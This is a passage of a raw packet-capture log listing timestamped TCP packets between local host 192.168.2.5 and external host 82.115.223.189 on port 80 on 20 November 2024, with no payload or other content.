Nov 20, 2024 07:48:03.474793911 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.474806070 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.474828959 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.474862099 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.474868059 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.474895000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.474929094 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.474937916 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.476018906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.512914896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.512990952 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.513003111 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.513040066 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.513077021 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.513086081 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.513112068 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.513237000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.513254881 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.513273001 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.513432026 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.561639071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561711073 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561731100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561748981 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561786890 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561821938 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561856031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561861038 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.561908960 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561913013 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.561944008 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561980963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.561991930 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562035084 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562067986 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562079906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562124968 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562175989 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562175989 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562230110 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562263012 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562283993 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562298059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562330961 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562346935 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562369108 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562412024 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562421083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562457085 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562489033 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562500954 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562522888 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562556028 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562560081 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562608957 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562650919 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562660933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562696934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562731981 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562741995 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562767982 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562803030 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562851906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562854052 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562886953 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562897921 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562921047 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562958956 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.562968969 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.562993050 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563039064 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563044071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563077927 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563110113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563118935 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563143969 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563174009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563213110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563224077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563258886 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563268900 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563292980 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563343048 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563349009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563383102 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563426018 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563435078 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563476086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563518047 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563529968 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563563108 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563599110 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563606977 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563633919 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563682079 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563689947 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563720942 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563755035 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563776970 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563795090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563827991 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563842058 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563864946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563910007 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.563915968 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563947916 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563981056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.563993931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564013958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564047098 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564055920 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564080000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564112902 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564125061 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564150095 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564184904 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564196110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564218044 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564251900 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564260006 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564280033 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564315081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564321041 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564347982 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564380884 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564390898 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564414024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564444065 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564454079 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564476967 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564508915 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564517975 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564544916 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564577103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564588070 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564610004 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564641953 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564655066 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564675093 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564707994 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564712048 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564740896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564774036 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564776897 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564807892 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564840078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564847946 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564874887 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564891100 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564903975 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564914942 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.564937115 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564970016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.564979076 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565001965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565036058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565052986 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565068007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565102100 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565116882 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565134048 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565166950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565191031 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565200090 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565232992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565247059 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565267086 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565300941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565310001 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565337896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565371037 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565382004 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565404892 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565440893 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565448999 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565474033 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565506935 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565517902 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.565540075 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565574884 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.565582991 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.566905975 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.603632927 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603679895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603738070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603781939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603782892 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.603836060 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603840113 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.603872061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603885889 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.603905916 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603940964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.603950024 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652296066 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652369976 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652379990 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652429104 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652462959 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652473927 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652517080 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652570963 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652575970 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652606964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652641058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652653933 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652693987 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652728081 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652740002 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652761936 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652803898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652808905 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652858019 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652890921 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652925968 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.652926922 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652977943 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.652982950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653036118 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653072119 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653080940 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653106928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653156996 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653157949 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653213024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653242111 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653259993 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653297901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653342009 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653351068 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653383017 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653418064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653429031 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653450966 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653502941 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653502941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653537035 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653572083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653592110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653606892 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653644085 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653652906 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653673887 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653723955 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653728008 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653785944 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653822899 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653831005 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653857946 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653891087 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653903961 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653925896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653959036 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.653971910 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.653994083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654043913 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654045105 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654081106 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654113054 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654125929 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654165030 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654216051 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654217958 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654252052 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654300928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654301882 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654335976 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654369116 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654381037 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654406071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654438019 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654448032 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654473066 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654506922 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654516935 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654541969 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654575109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654593945 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654609919 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654643059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654663086 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654676914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654707909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654720068 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654742956 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654774904 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654788971 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654810905 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654843092 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654853106 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654879093 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654911995 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654926062 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.654947042 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654978991 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.654994011 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655016899 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655050039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655065060 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655086040 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655118942 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655131102 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655153990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655185938 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655199051 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655220985 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655253887 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655267000 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655287981 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655332088 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655345917 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655381918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655415058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655431986 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655448914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655483007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655495882 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655517101 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655550003 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655565023 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655584097 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655616999 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655630112 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655656099 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655683994 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655699968 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655716896 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655750990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655759096 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655785084 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655818939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655833006 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655853033 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655884981 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655900002 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655920029 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655952930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.655963898 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.655986071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.656019926 CET	80	49704	82.115.223.189	192.168.2.5
